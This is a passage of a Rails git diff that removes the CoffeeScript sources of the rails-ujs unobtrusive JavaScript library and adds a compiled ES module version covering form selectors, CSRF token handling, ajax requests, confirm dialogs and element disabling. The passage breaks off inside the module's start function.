-  # Form input elements disabled during form submission
-  formDisableSelector: 'input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled'
-
-  # Form input elements re-enabled after form submission
-  formEnableSelector: 'input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled'
-
-  # Form required input elements
-  requiredInputSelector: 'input[name][required]:not([disabled]), textarea[name][required]:not([disabled])'
-
-  # Form file input elements
-  fileInputSelector: 'input[name][type=file]:not([disabled])'
-
-  # Link onClick disable selector with possible reenable after remote submission
-  linkDisableSelector: 'a[data-disable-with], a[data-disable]'
-
-  # Button onClick disable selector with possible reenable after remote submission
-  buttonDisableSelector: 'button[data-remote][data-disable-with], button[data-remote][data-disable]'
diff --git a/actionview/app/assets/javascripts/features/confirm.coffee b/actionview/app/assets/javascripts/features/confirm.coffee
deleted file mode 100644
index 72b5aaa2183b6..0000000000000
--- a/actionview/app/assets/javascripts/features/confirm.coffee
+++ /dev/null
@@ -1,26 +0,0 @@
-#= require_tree ../utils
-
-{ fire, stopEverything } = Rails
-
-Rails.handleConfirm = (e) ->
-  stopEverything(e) unless allowAction(this)
-
-# For 'data-confirm' attribute:
-# - Fires `confirm` event
-# - Shows the confirmation dialog
-# - Fires the `confirm:complete` event
-#
-# Returns `true` if no function stops the chain and user chose yes `false` otherwise.
-# Attaching a handler to the element's `confirm` event that returns a `falsy` value cancels the confirmation dialog.
-# Attaching a handler to the element's `confirm:complete` event that returns a `falsy` value makes this function
-# return false. The `confirm:complete` event is fired whether or not the user answered true or false to the dialog.
-allowAction = (element) ->
-  message = element.getAttribute('data-confirm')
-  return true unless message
-
-  answer = false
-  if fire(element, 'confirm')
-    try answer = confirm(message)
-    callback = fire(element, 'confirm:complete', [answer])
-
-  answer and callback
diff --git a/actionview/app/assets/javascripts/features/disable.coffee b/actionview/app/assets/javascripts/features/disable.coffee
deleted file mode 100644
index e8cce7da4071e..0000000000000
--- a/actionview/app/assets/javascripts/features/disable.coffee
+++ /dev/null
@@ -1,78 +0,0 @@
-#= require_tree ../utils
-
-{ matches, getData, setData, stopEverything, formElements } = Rails
-
-# Unified function to enable an element (link, button and form)
-Rails.enableElement = (e) ->
-  element = if e instanceof Event then e.target else e
-  if matches(element, Rails.linkDisableSelector)
-    enableLinkElement(element)
-  else if matches(element, Rails.buttonDisableSelector) or matches(element, Rails.formEnableSelector)
-    enableFormElement(element)
-  else if matches(element, Rails.formSubmitSelector)
-    enableFormElements(element)
-
-# Unified function to disable an element (link, button and form)
-Rails.disableElement = (e) ->
-  element = if e instanceof Event then e.target else e
-  if matches(element, Rails.linkDisableSelector)
-    disableLinkElement(element)
-  else if matches(element, Rails.buttonDisableSelector) or matches(element, Rails.formDisableSelector)
-    disableFormElement(element)
-  else if matches(element, Rails.formSubmitSelector)
-    disableFormElements(element)
-
-#  Replace element's html with the 'data-disable-with' after storing original html
-#  and prevent clicking on it
-disableLinkElement = (element) ->
-  replacement = element.getAttribute('data-disable-with')
-  if replacement?
-    setData(element, 'ujs:enable-with', element.innerHTML) # store enabled state
-    element.innerHTML = replacement
-  element.addEventListener('click', stopEverything) # prevent further clicking
-  setData(element, 'ujs:disabled', true)
-
-# Restore element to its original state which was disabled by 'disableLinkElement' above
-enableLinkElement = (element) ->
-  originalText = getData(element, 'ujs:enable-with')
-  if originalText?
-    element.innerHTML = originalText # set to old enabled state
-    setData(element, 'ujs:enable-with', null) # clean up cache
-  element.removeEventListener('click', stopEverything) # enable element
-  setData(element, 'ujs:disabled', null)
-
-# Disables form elements:
-#  - Caches element value in 'ujs:enable-with' data store
-#  - Replaces element text with value of 'data-disable-with' attribute
-#  - Sets disabled property to true
-disableFormElements = (form) ->
-  formElements(form, Rails.formDisableSelector).forEach(disableFormElement)
-
-disableFormElement = (element) ->
-  replacement = element.getAttribute('data-disable-with')
-  if replacement?
-    if matches(element, 'button')
-      setData(element, 'ujs:enable-with', element.innerHTML)
-      element.innerHTML = replacement
-    else
-      setData(element, 'ujs:enable-with', element.value)
-      element.value = replacement
-  element.disabled = true
-  setData(element, 'ujs:disabled', true)
-
-# Re-enables disabled form elements:
-#  - Replaces element text with cached value from 'ujs:enable-with' data store (created in `disableFormElements`)
-#  - Sets disabled property to false
-enableFormElements = (form) ->
-  formElements(form, Rails.formEnableSelector).forEach(enableFormElement)
-
-enableFormElement = (element) ->
-  originalText = getData(element, 'ujs:enable-with')
-  if originalText?
-    if matches(element, 'button')
-      element.innerHTML = originalText
-    else
-      element.value = originalText
-    setData(element, 'ujs:enable-with', null) # clean up cache
-  element.disabled = false
-  setData(element, 'ujs:disabled', null)
diff --git a/actionview/app/assets/javascripts/features/method.coffee b/actionview/app/assets/javascripts/features/method.coffee
deleted file mode 100644
index d04d9414dda3d..0000000000000
--- a/actionview/app/assets/javascripts/features/method.coffee
+++ /dev/null
@@ -1,34 +0,0 @@
-#= require_tree ../utils
-
-{ stopEverything } = Rails
-
-# Handles "data-method" on links such as:
-# <a href="/users/5" data-method="delete" rel="nofollow" data-confirm="Are you sure?">Delete</a>
-Rails.handleMethod = (e) ->
-  link = this
-  method = link.getAttribute('data-method')
-  return unless method
-
-  href = Rails.href(link)
-  csrfToken = Rails.csrfToken()
-  csrfParam = Rails.csrfParam()
-  form = document.createElement('form')
-  formContent = "<input name='_method' value='#{method}' type='hidden' />"
-
-  if csrfParam? and csrfToken? and not Rails.isCrossDomain(href)
-    formContent += "<input name='#{csrfParam}' value='#{csrfToken}' type='hidden' />"
-
-  # Must trigger submit by click on a button, else "submit" event handler won't work!
-  # https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/submit
-  formContent += '<input type="submit" />'
-
-  form.method = 'post'
-  form.action = href
-  form.target = link.target
-  form.innerHTML = formContent
-  form.style.display = 'none'
-
-  document.body.appendChild(form)
-  form.querySelector('[type="submit"]').click()
-
-  stopEverything(e)
diff --git a/actionview/app/assets/javascripts/features/remote.coffee b/actionview/app/assets/javascripts/features/remote.coffee
deleted file mode 100644
index 30a5dc21fa9a9..0000000000000
--- a/actionview/app/assets/javascripts/features/remote.coffee
+++ /dev/null
@@ -1,100 +0,0 @@
-#= require_tree ../utils
-
-{
-  matches, getData, setData
-  fire, stopEverything
-  ajax, isCrossDomain
-  blankInputs, serializeElement
-} = Rails
-
-# Checks "data-remote" if true to handle the request through a XHR request.
-isRemote = (element) ->
-  value = element.getAttribute('data-remote')
-  value? and value isnt 'false'
-
-# Submits "remote" forms and links with ajax
-Rails.handleRemote = (e) ->
-  element = this
-
-  return true unless isRemote(element)
-  unless fire(element, 'ajax:before')
-    fire(element, 'ajax:stopped')
-    return false
-
-  withCredentials = element.getAttribute('data-with-credentials')
-  dataType = element.getAttribute('data-type') or 'script'
-
-  if matches(element, Rails.formSubmitSelector)
-    # memoized value from clicked submit button
-    button = getData(element, 'ujs:submit-button')
-    method = getData(element, 'ujs:submit-button-formmethod') or element.method
-    url = getData(element, 'ujs:submit-button-formaction') or element.getAttribute('action') or location.href
-
-    # strip query string if it's a GET request
-    url = url.replace(/\?.*$/, '') if method.toUpperCase() is 'GET'
-
-    if element.enctype is 'multipart/form-data'
-      data = new FormData(element)
-      data.append(button.name, button.value) if button?
-    else
-      data = serializeElement(element, button)
-
-    setData(element, 'ujs:submit-button', null)
-    setData(element, 'ujs:submit-button-formmethod', null)
-    setData(element, 'ujs:submit-button-formaction', null)
-  else if matches(element, Rails.buttonClickSelector) or matches(element, Rails.inputChangeSelector)
-    method = element.getAttribute('data-method')
-    url = element.getAttribute('data-url')
-    data = serializeElement(element, element.getAttribute('data-params'))
-  else
-    method = element.getAttribute('data-method')
-    url = Rails.href(element)
-    data = element.getAttribute('data-params')
-
-  ajax(
-    type: method or 'GET'
-    url: url
-    data: data
-    dataType: dataType
-    # stopping the "ajax:beforeSend" event will cancel the ajax request
-    beforeSend: (xhr, options) ->
-      if fire(element, 'ajax:beforeSend', [xhr, options])
-        fire(element, 'ajax:send', [xhr])
-      else
-        fire(element, 'ajax:stopped')
-        xhr.abort()
-    success: (args...) -> fire(element, 'ajax:success', args)
-    error: (args...) -> fire(element, 'ajax:error', args)
-    complete: (args...) -> fire(element, 'ajax:complete', args)
-    crossDomain: isCrossDomain(url)
-    withCredentials: withCredentials? and withCredentials isnt 'false'
-  )
-  stopEverything(e)
-
-# Check whether any required fields are empty
-# In both ajax mode and normal mode
-Rails.validateForm = (e) ->
-  form = this
-  return if form.noValidate or getData(form, 'ujs:formnovalidate-button')
-  # Skip other logic when required values are missing or file upload is present
-  blankRequiredInputs = blankInputs(form, Rails.requiredInputSelector, false)
-  if blankRequiredInputs.length > 0 and fire(form, 'ajax:aborted:required', [blankRequiredInputs])
-    stopEverything(e)
-
-Rails.formSubmitButtonClick = (e) ->
-  button = this
-  form = button.form
-  return unless form
-  # Register the pressed submit button
-  setData(form, 'ujs:submit-button', name: button.name, value: button.value) if button.name
-  # Save attributes from button
-  setData(form, 'ujs:formnovalidate-button', button.formNoValidate)
-  setData(form, 'ujs:submit-button-formaction', button.getAttribute('formaction'))
-  setData(form, 'ujs:submit-button-formmethod', button.getAttribute('formmethod'))
-
-Rails.handleMetaClick = (e) ->
-  link = this
-  method = (link.getAttribute('data-method') or 'GET').toUpperCase()
-  data = link.getAttribute('data-params')
-  metaClick = e.metaKey or e.ctrlKey
-  e.stopImmediatePropagation() if metaClick and method is 'GET' and not data
diff --git a/actionview/app/assets/javascripts/rails-ujs.coffee b/actionview/app/assets/javascripts/rails-ujs.coffee
deleted file mode 100644
index f96d2eb6fd2ce..0000000000000
--- a/actionview/app/assets/javascripts/rails-ujs.coffee
+++ /dev/null
@@ -1,76 +0,0 @@
-#
-# Unobtrusive JavaScript
-# https://github.com/rails/rails-ujs
-#
-# Released under the MIT license
-#
-#= require ./config
-#= require_tree ./utils
-#= require_tree ./features
-
-{
-  fire, delegate
-  getData, $
-  refreshCSRFTokens, CSRFProtection
-  enableElement, disableElement
-  handleConfirm
-  handleRemote, validateForm, formSubmitButtonClick, handleMetaClick
-  handleMethod
-} = Rails
-
-# For backward compatibility
-if jQuery? and not jQuery.rails
-  jQuery.rails = Rails
-  jQuery.ajaxPrefilter (options, originalOptions, xhr) ->
-    CSRFProtection(xhr) unless options.crossDomain
-
-Rails.start = ->
-  # Cut down on the number of issues from people inadvertently including jquery_ujs twice
-  # by detecting and raising an error when it happens.
-  throw new Error('jquery-ujs has already been loaded!') if window._rails_loaded
-
-  # This event works the same as the load event, except that it fires every
-  # time the page is loaded.
-  # See https://github.com/rails/jquery-ujs/issues/357
-  # See https://developer.mozilla.org/en-US/docs/Using_Firefox_1.5_caching
-  window.addEventListener 'pageshow', ->
-    $(Rails.formEnableSelector).forEach (el) ->
-      enableElement(el) if getData(el, 'ujs:disabled')
-    $(Rails.linkDisableSelector).forEach (el) ->
-      enableElement(el) if getData(el, 'ujs:disabled')
-
-  delegate document, Rails.linkDisableSelector, 'ajax:complete', enableElement
-  delegate document, Rails.linkDisableSelector, 'ajax:stopped', enableElement
-  delegate document, Rails.buttonDisableSelector, 'ajax:complete', enableElement
-  delegate document, Rails.buttonDisableSelector, 'ajax:stopped', enableElement
-
-  delegate document, Rails.linkClickSelector, 'click', handleConfirm
-  delegate document, Rails.linkClickSelector, 'click', handleMetaClick
-  delegate document, Rails.linkClickSelector, 'click', disableElement
-  delegate document, Rails.linkClickSelector, 'click', handleRemote
-  delegate document, Rails.linkClickSelector, 'click', handleMethod
-
-  delegate document, Rails.buttonClickSelector, 'click', handleConfirm
-  delegate document, Rails.buttonClickSelector, 'click', disableElement
-  delegate document, Rails.buttonClickSelector, 'click', handleRemote
-
-  delegate document, Rails.inputChangeSelector, 'change', handleConfirm
-  delegate document, Rails.inputChangeSelector, 'change', handleRemote
-
-  delegate document, Rails.formSubmitSelector, 'submit', handleConfirm
-  delegate document, Rails.formSubmitSelector, 'submit', validateForm
-  delegate document, Rails.formSubmitSelector, 'submit', handleRemote
-  # Normal mode submit
-  # Slight timeout so that the submit button gets properly serialized
-  delegate document, Rails.formSubmitSelector, 'submit', (e) -> setTimeout((-> disableElement(e)), 13)
-  delegate document, Rails.formSubmitSelector, 'ajax:send', disableElement
-  delegate document, Rails.formSubmitSelector, 'ajax:complete', enableElement
-
-  delegate document, Rails.formInputClickSelector, 'click', handleConfirm
-  delegate document, Rails.formInputClickSelector, 'click', formSubmitButtonClick
-
-  document.addEventListener('DOMContentLoaded', refreshCSRFTokens)
-  window._rails_loaded = true
-
-if window.Rails is Rails and fire(document, 'rails:attachBindings')
-  Rails.start()
diff --git a/actionview/app/assets/javascripts/rails-ujs.esm.js b/actionview/app/assets/javascripts/rails-ujs.esm.js
new file mode 100644
index 0000000000000..a812dc606781a
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs.esm.js
@@ -0,0 +1,686 @@
+/*
+Unobtrusive JavaScript
+https://github.com/rails/rails/blob/main/actionview/app/javascript
+Released under the MIT license
+ */
+const linkClickSelector = "a[data-confirm], a[data-method], a[data-remote]:not([disabled]), a[data-disable-with], a[data-disable]";
+
+const buttonClickSelector = {
+  selector: "button[data-remote]:not([form]), button[data-confirm]:not([form])",
+  exclude: "form button"
+};
+
+const inputChangeSelector = "select[data-remote], input[data-remote], textarea[data-remote]";
+
+const formSubmitSelector = "form:not([data-turbo=true])";
+
+const formInputClickSelector = "form:not([data-turbo=true]) input[type=submit], form:not([data-turbo=true]) input[type=image], form:not([data-turbo=true]) button[type=submit], form:not([data-turbo=true]) button:not([type]), input[type=submit][form], input[type=image][form], button[type=submit][form], button[form]:not([type])";
+
+const formDisableSelector = "input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled";
+
+const formEnableSelector = "input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled";
+
+const fileInputSelector = "input[name][type=file]:not([disabled])";
+
+const linkDisableSelector = "a[data-disable-with], a[data-disable]";
+
+const buttonDisableSelector = "button[data-remote][data-disable-with], button[data-remote][data-disable]";
+
+let nonce = null;
+
+const loadCSPNonce = () => {
+  const metaTag = document.querySelector("meta[name=csp-nonce]");
+  return nonce = metaTag && metaTag.content;
+};
+
+const cspNonce = () => nonce || loadCSPNonce();
+
+const m = Element.prototype.matches || Element.prototype.matchesSelector || Element.prototype.mozMatchesSelector || Element.prototype.msMatchesSelector || Element.prototype.oMatchesSelector || Element.prototype.webkitMatchesSelector;
+
+const matches = function(element, selector) {
+  if (selector.exclude) {
+    return m.call(element, selector.selector) && !m.call(element, selector.exclude);
+  } else {
+    return m.call(element, selector);
+  }
+};
+
+const EXPANDO = "_ujsData";
+
+const getData = (element, key) => element[EXPANDO] ? element[EXPANDO][key] : undefined;
+
+const setData = function(element, key, value) {
+  if (!element[EXPANDO]) {
+    element[EXPANDO] = {};
+  }
+  return element[EXPANDO][key] = value;
+};
+
+const $ = selector => Array.prototype.slice.call(document.querySelectorAll(selector));
+
+const isContentEditable = function(element) {
+  var isEditable = false;
+  do {
+    if (element.isContentEditable) {
+      isEditable = true;
+      break;
+    }
+    element = element.parentElement;
+  } while (element);
+  return isEditable;
+};
+
+const csrfToken = () => {
+  const meta = document.querySelector("meta[name=csrf-token]");
+  return meta && meta.content;
+};
+
+const csrfParam = () => {
+  const meta = document.querySelector("meta[name=csrf-param]");
+  return meta && meta.content;
+};
+
+const CSRFProtection = xhr => {
+  const token = csrfToken();
+  if (token) {
+    return xhr.setRequestHeader("X-CSRF-Token", token);
+  }
+};
+
+const refreshCSRFTokens = () => {
+  const token = csrfToken();
+  const param = csrfParam();
+  if (token && param) {
+    return $('form input[name="' + param + '"]').forEach((input => input.value = token));
+  }
+};
+
+const AcceptHeaders = {
+  "*": "*/*",
+  text: "text/plain",
+  html: "text/html",
+  xml: "application/xml, text/xml",
+  json: "application/json, text/javascript",
+  script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
+};
+
+const ajax = options => {
+  options = prepareOptions(options);
+  var xhr = createXHR(options, (function() {
+    const response = processResponse(xhr.response != null ? xhr.response : xhr.responseText, xhr.getResponseHeader("Content-Type"));
+    if (Math.floor(xhr.status / 100) === 2) {
+      if (typeof options.success === "function") {
+        options.success(response, xhr.statusText, xhr);
+      }
+    } else {
+      if (typeof options.error === "function") {
+        options.error(response, xhr.statusText, xhr);
+      }
+    }
+    return typeof options.complete === "function" ? options.complete(xhr, xhr.statusText) : undefined;
+  }));
+  if (options.beforeSend && !options.beforeSend(xhr, options)) {
+    return false;
+  }
+  if (xhr.readyState === XMLHttpRequest.OPENED) {
+    return xhr.send(options.data);
+  }
+};
+
+var prepareOptions = function(options) {
+  options.url = options.url || location.href;
+  options.type = options.type.toUpperCase();
+  if (options.type === "GET" && options.data) {
+    if (options.url.indexOf("?") < 0) {
+      options.url += "?" + options.data;
+    } else {
+      options.url += "&" + options.data;
+    }
+  }
+  if (!(options.dataType in AcceptHeaders)) {
+    options.dataType = "*";
+  }
+  options.accept = AcceptHeaders[options.dataType];
+  if (options.dataType !== "*") {
+    options.accept += ", */*; q=0.01";
+  }
+  return options;
+};
+
+var createXHR = function(options, done) {
+  const xhr = new XMLHttpRequest;
+  xhr.open(options.type, options.url, true);
+  xhr.setRequestHeader("Accept", options.accept);
+  if (typeof options.data === "string") {
+    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
+  }
+  if (!options.crossDomain) {
+    xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+    CSRFProtection(xhr);
+  }
+  xhr.withCredentials = !!options.withCredentials;
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState === XMLHttpRequest.DONE) {
+      return done(xhr);
+    }
+  };
+  return xhr;
+};
+
+var processResponse = function(response, type) {
+  if (typeof response === "string" && typeof type === "string") {
+    if (type.match(/\bjson\b/)) {
+      try {
+        response = JSON.parse(response);
+      } catch (error) {}
+    } else if (type.match(/\b(?:java|ecma)script\b/)) {
+      const script = document.createElement("script");
+      script.setAttribute("nonce", cspNonce());
+      script.text = response;
+      document.head.appendChild(script).parentNode.removeChild(script);
+    } else if (type.match(/\b(xml|html|svg)\b/)) {
+      const parser = new DOMParser;
+      type = type.replace(/;.+/, "");
+      try {
+        response = parser.parseFromString(response, type);
+      } catch (error1) {}
+    }
+  }
+  return response;
+};
+
+const href = element => element.href;
+
+const isCrossDomain = function(url) {
+  const originAnchor = document.createElement("a");
+  originAnchor.href = location.href;
+  const urlAnchor = document.createElement("a");
+  try {
+    urlAnchor.href = url;
+    return !((!urlAnchor.protocol || urlAnchor.protocol === ":") && !urlAnchor.host || originAnchor.protocol + "//" + originAnchor.host === urlAnchor.protocol + "//" + urlAnchor.host);
+  } catch (e) {
+    return true;
+  }
+};
+
+let preventDefault;
+
+let {CustomEvent: CustomEvent} = window;
+
+if (typeof CustomEvent !== "function") {
+  CustomEvent = function(event, params) {
+    const evt = document.createEvent("CustomEvent");
+    evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail);
+    return evt;
+  };
+  CustomEvent.prototype = window.Event.prototype;
+  ({preventDefault: preventDefault} = CustomEvent.prototype);
+  CustomEvent.prototype.preventDefault = function() {
+    const result = preventDefault.call(this);
+    if (this.cancelable && !this.defaultPrevented) {
+      Object.defineProperty(this, "defaultPrevented", {
+        get() {
+          return true;
+        }
+      });
+    }
+    return result;
+  };
+}
+
+const fire = (obj, name, data) => {
+  const event = new CustomEvent(name, {
+    bubbles: true,
+    cancelable: true,
+    detail: data
+  });
+  obj.dispatchEvent(event);
+  return !event.defaultPrevented;
+};
+
+const stopEverything = e => {
+  fire(e.target, "ujs:everythingStopped");
+  e.preventDefault();
+  e.stopPropagation();
+  e.stopImmediatePropagation();
+};
+
+const delegate = (element, selector, eventType, handler) => element.addEventListener(eventType, (function(e) {
+  let {target: target} = e;
+  while (!!(target instanceof Element) && !matches(target, selector)) {
+    target = target.parentNode;
+  }
+  if (target instanceof Element && handler.call(target, e) === false) {
+    e.preventDefault();
+    e.stopPropagation();
+  }
+}));
+
+const toArray = e => Array.prototype.slice.call(e);
+
+const serializeElement = (element, additionalParam) => {
+  let inputs = [ element ];
+  if (matches(element, "form")) {
+    inputs = toArray(element.elements);
+  }
+  const params = [];
+  inputs.forEach((function(input) {
+    if (!input.name || input.disabled) {
+      return;
+    }
+    if (matches(input, "fieldset[disabled] *")) {
+      return;
+    }
+    if (matches(input, "select")) {
+      toArray(input.options).forEach((function(option) {
+        if (option.selected) {
+          params.push({
+            name: input.name,
+            value: option.value
+          });
+        }
+      }));
+    } else if (input.checked || [ "radio", "checkbox", "submit" ].indexOf(input.type) === -1) {
+      params.push({
+        name: input.name,
+        value: input.value
+      });
+    }
+  }));
+  if (additionalParam) {
+    params.push(additionalParam);
+  }
+  return params.map((function(param) {
+    if (param.name) {
+      return `${encodeURIComponent(param.name)}=${encodeURIComponent(param.value)}`;
+    } else {
+      return param;
+    }
+  })).join("&");
+};
+
+const formElements = (form, selector) => {
+  if (matches(form, "form")) {
+    return toArray(form.elements).filter((el => matches(el, selector)));
+  } else {
+    return toArray(form.querySelectorAll(selector));
+  }
+};
+
+const handleConfirmWithRails = rails => function(e) {
+  if (!allowAction(this, rails)) {
+    stopEverything(e);
+  }
+};
+
+const confirm = (message, element) => window.confirm(message);
+
+var allowAction = function(element, rails) {
+  let callback;
+  const message = element.getAttribute("data-confirm");
+  if (!message) {
+    return true;
+  }
+  let answer = false;
+  if (fire(element, "confirm")) {
+    try {
+      answer = rails.confirm(message, element);
+    } catch (error) {}
+    callback = fire(element, "confirm:complete", [ answer ]);
+  }
+  return answer && callback;
+};
+
+const handleDisabledElement = function(e) {
+  const element = this;
+  if (element.disabled) {
+    stopEverything(e);
+  }
+};
+
+const enableElement = e => {
+  let element;
+  if (e instanceof Event) {
+    if (isXhrRedirect(e)) {
+      return;
+    }
+    element = e.target;
+  } else {
+    element = e;
+  }
+  if (isContentEditable(element)) {
+    return;
+  }
+  if (matches(element, linkDisableSelector)) {
+    return enableLinkElement(element);
+  } else if (matches(element, buttonDisableSelector) || matches(element, formEnableSelector)) {
+    return enableFormElement(element);
+  } else if (matches(element, formSubmitSelector)) {
+    return enableFormElements(element);
+  }
+};
+
+const disableElement = e => {
+  const element = e instanceof Event ? e.target : e;
+  if (isContentEditable(element)) {
+    return;
+  }
+  if (matches(element, linkDisableSelector)) {
+    return disableLinkElement(element);
+  } else if (matches(element, buttonDisableSelector) || matches(element, formDisableSelector)) {
+    return disableFormElement(element);
+  } else if (matches(element, formSubmitSelector)) {
+    return disableFormElements(element);
+  }
+};
+
+var disableLinkElement = function(element) {
+  if (getData(element, "ujs:disabled")) {
+    return;
+  }
+  const replacement = element.getAttribute("data-disable-with");
+  if (replacement != null) {
+    setData(element, "ujs:enable-with", element.innerHTML);
+    element.innerHTML = replacement;
+  }
+  element.addEventListener("click", stopEverything);
+  return setData(element, "ujs:disabled", true);
+};
+
+var enableLinkElement = function(element) {
+  const originalText = getData(element, "ujs:enable-with");
+  if (originalText != null) {
+    element.innerHTML = originalText;
+    setData(element, "ujs:enable-with", null);
+  }
+  element.removeEventListener("click", stopEverything);
+  return setData(element, "ujs:disabled", null);
+};
+
+var disableFormElements = form => formElements(form, formDisableSelector).forEach(disableFormElement);
+
+var disableFormElement = function(element) {
+  if (getData(element, "ujs:disabled")) {
+    return;
+  }
+  const replacement = element.getAttribute("data-disable-with");
+  if (replacement != null) {
+    if (matches(element, "button")) {
+      setData(element, "ujs:enable-with", element.innerHTML);
+      element.innerHTML = replacement;
+    } else {
+      setData(element, "ujs:enable-with", element.value);
+      element.value = replacement;
+    }
+  }
+  element.disabled = true;
+  return setData(element, "ujs:disabled", true);
+};
+
+var enableFormElements = form => formElements(form, formEnableSelector).forEach((element => enableFormElement(element)));
+
+var enableFormElement = function(element) {
+  const originalText = getData(element, "ujs:enable-with");
+  if (originalText != null) {
+    if (matches(element, "button")) {
+      element.innerHTML = originalText;
+    } else {
+      element.value = originalText;
+    }
+    setData(element, "ujs:enable-with", null);
+  }
+  element.disabled = false;
+  return setData(element, "ujs:disabled", null);
+};
+
+var isXhrRedirect = function(event) {
+  const xhr = event.detail ? event.detail[0] : undefined;
+  return xhr && xhr.getResponseHeader("X-Xhr-Redirect");
+};
+
+const handleMethodWithRails = rails => function(e) {
+  const link = this;
+  const method = link.getAttribute("data-method");
+  if (!method) {
+    return;
+  }
+  if (isContentEditable(this)) {
+    return;
+  }
+  const href = rails.href(link);
+  const csrfToken$1 = csrfToken();
+  const csrfParam$1 = csrfParam();
+  const form = document.createElement("form");
+  let formContent = `<input name='_method' value='${method}' type='hidden' />`;
+  if (csrfParam$1 && csrfToken$1 && !isCrossDomain(href)) {
+    formContent += `<input name='${csrfParam$1}' value='${csrfToken$1}' type='hidden' />`;
+  }
+  formContent += '<input type="submit" />';
+  form.method = "post";
+  form.action = href;
+  form.target = link.target;
+  form.innerHTML = formContent;
+  form.style.display = "none";
+  document.body.appendChild(form);
+  form.querySelector('[type="submit"]').click();
+  stopEverything(e);
+};
+
+const isRemote = function(element) {
+  const value = element.getAttribute("data-remote");
+  return value != null && value !== "false";
+};
+
+const handleRemoteWithRails = rails => function(e) {
+  let data, method, url;
+  const element = this;
+  if (!isRemote(element)) {
+    return true;
+  }
+  if (!fire(element, "ajax:before")) {
+    fire(element, "ajax:stopped");
+    return false;
+  }
+  if (isContentEditable(element)) {
+    fire(element, "ajax:stopped");
+    return false;
+  }
+  const withCredentials = element.getAttribute("data-with-credentials");
+  const dataType = element.getAttribute("data-type") || "script";
+  if (matches(element, formSubmitSelector)) {
+    const button = getData(element, "ujs:submit-button");
+    method = getData(element, "ujs:submit-button-formmethod") || element.getAttribute("method") || "get";
+    url = getData(element, "ujs:submit-button-formaction") || element.getAttribute("action") || location.href;
+    if (method.toUpperCase() === "GET") {
+      url = url.replace(/\?.*$/, "");
+    }
+    if (element.enctype === "multipart/form-data") {
+      data = new FormData(element);
+      if (button != null) {
+        data.append(button.name, button.value);
+      }
+    } else {
+      data = serializeElement(element, button);
+    }
+    setData(element, "ujs:submit-button", null);
+    setData(element, "ujs:submit-button-formmethod", null);
+    setData(element, "ujs:submit-button-formaction", null);
+  } else if (matches(element, buttonClickSelector) || matches(element, inputChangeSelector)) {
+    method = element.getAttribute("data-method");
+    url = element.getAttribute("data-url");
+    data = serializeElement(element, element.getAttribute("data-params"));
+  } else {
+    method = element.getAttribute("data-method");
+    url = rails.href(element);
+    data = element.getAttribute("data-params");
+  }
+  ajax({
+    type: method || "GET",
+    url: url,
+    data: data,
+    dataType: dataType,
+    beforeSend(xhr, options) {
+      if (fire(element, "ajax:beforeSend", [ xhr, options ])) {
+        return fire(element, "ajax:send", [ xhr ]);
+      } else {
+        fire(element, "ajax:stopped");
+        return false;
+      }
+    },
+    success(...args) {
+      return fire(element, "ajax:success", args);
+    },
+    error(...args) {
+      return fire(element, "ajax:error", args);
+    },
+    complete(...args) {
+      return fire(element, "ajax:complete", args);
+    },
+    crossDomain: isCrossDomain(url),
+    withCredentials: withCredentials != null && withCredentials !== "false"
+  });
+  stopEverything(e);
+};
+
+const formSubmitButtonClick = function(e) {
+  const button = this;
+  const {form: form} = button;
+  if (!form) {
+    return;
+  }
+  if (button.name) {
+    setData(form, "ujs:submit-button", {
+      name: button.name,
+      value: button.value
+    });
+  }
+  setData(form, "ujs:formnovalidate-button", button.formNoValidate);
+  setData(form, "ujs:submit-button-formaction", button.getAttribute("formaction"));
+  return setData(form, "ujs:submit-button-formmethod", button.getAttribute("formmethod"));
+};
+
+const preventInsignificantClick = function(e) {
+  const link = this;
+  const method = (link.getAttribute("data-method") || "GET").toUpperCase();
+  const data = link.getAttribute("data-params");
+  const metaClick = e.metaKey || e.ctrlKey;
+  const insignificantMetaClick = metaClick && method === "GET" && !data;
+  const nonPrimaryMouseClick = e.button != null && e.button !== 0;
+  if (nonPrimaryMouseClick || insignificantMetaClick) {
+    e.stopImmediatePropagation();
+  }
+};
+
+const Rails = {
+  $: $,
+  ajax: ajax,
+  buttonClickSelector: buttonClickSelector,
+  buttonDisableSelector: buttonDisableSelector,
+  confirm: confirm,
+  cspNonce: cspNonce,
+  csrfToken: csrfToken,
+  csrfParam: csrfParam,
+  CSRFProtection: CSRFProtection,
+  delegate: delegate,
+  disableElement: disableElement,
+  enableElement: enableElement,
+  fileInputSelector: fileInputSelector,
+  fire: fire,
+  formElements: formElements,
+  formEnableSelector: formEnableSelector,
+  formDisableSelector: formDisableSelector,
+  formInputClickSelector: formInputClickSelector,
+  formSubmitButtonClick: formSubmitButtonClick,
+  formSubmitSelector: formSubmitSelector,
+  getData: getData,
+  handleDisabledElement: handleDisabledElement,
+  href: href,
+  inputChangeSelector: inputChangeSelector,
+  isCrossDomain: isCrossDomain,
+  linkClickSelector: linkClickSelector,
+  linkDisableSelector: linkDisableSelector,
+  loadCSPNonce: loadCSPNonce,
+  matches: matches,
+  preventInsignificantClick: preventInsignificantClick,
+  refreshCSRFTokens: refreshCSRFTokens,
+  serializeElement: serializeElement,
+  setData: setData,
+  stopEverything: stopEverything
+};
+
+const handleConfirm = handleConfirmWithRails(Rails);
+
+Rails.handleConfirm = handleConfirm;
+
+const handleMethod = handleMethodWithRails(Rails);
+
+Rails.handleMethod = handleMethod;
+
+const handleRemote = handleRemoteWithRails(Rails);
+
+Rails.handleRemote = handleRemote;
+
+const start = function() {
+  if (window._rails_loaded) {
+    throw new Error("rails-ujs has already been loaded!");
